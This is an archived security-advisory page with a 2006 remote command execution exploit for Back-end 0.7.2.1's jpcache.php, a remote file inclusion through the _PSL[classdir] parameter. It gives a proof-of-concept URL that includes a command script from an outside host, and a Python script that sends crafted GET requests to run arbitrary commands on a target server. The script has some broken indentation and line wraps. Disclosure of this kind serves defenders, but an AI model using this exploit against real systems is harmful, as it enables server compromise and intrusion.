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TUCoPS :: Web :: PHP :: b06-2818.htm

Back-end = 0.7.2.1 (jpcache.php) Remote command execution



Back-end = 0.7.2.1 (jpcache.php) Remote command execution
Back-end = 0.7.2.1 (jpcache.php) Remote command execution



/ Federico Fazzi,  
*/ Back-end = 0.7.2.1 (jpcache.php) Remote command execution
*/ 08/06/2006 1:04

Bug:

jpcache.php: line 40

---
$includedir = $_PSL['classdir'] . "/jpcache";
---

Proof of concept:

Back-end have a default path pre-set on jpcache.php,
and cracker can execute a remote command.

http://example/[be_path]/class/jpcache/jpcache.php?_PSL[classdir]=http://example/cmd.php?exec=uname 

you can use too the exploit f_mg-2.62.py

#!/usr/bin/env python
#
# Back-end = 0.7.2.1 (jpcache.php) Remote command execution
# vendor, http://www.back-end.org/ 
#
# python f_be-0.7.2.1.py   
 
#
# Federico Fazzi  
# more info see advisory.

import os, sys, socket

usage = "run: python %s [remote_addr] [remote_port] [remote_path]
[remote_cmd] " % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
	print usage
	sys.exit()
else:
	host = sys.argv[1]
	port = int(sys.argv[2])
	path = sys.argv[3]
	cmd = sys.argv[4]
	command = sys.argv[5]

	print "Back-end = 0.7.2.1 (jpcache.php) Remote command execution"
print "Federico Fazzi \n" 

	includers = ['class/jpcache/jpcache.php?_PSL[classdir]=']

	for inc in includers:
		print ">> i try string %s" % inc
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.connect((host, port))
		sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd, command))
	print "\n>> reading.. done\n"
	buf = sock.recv(2048)
	print buf



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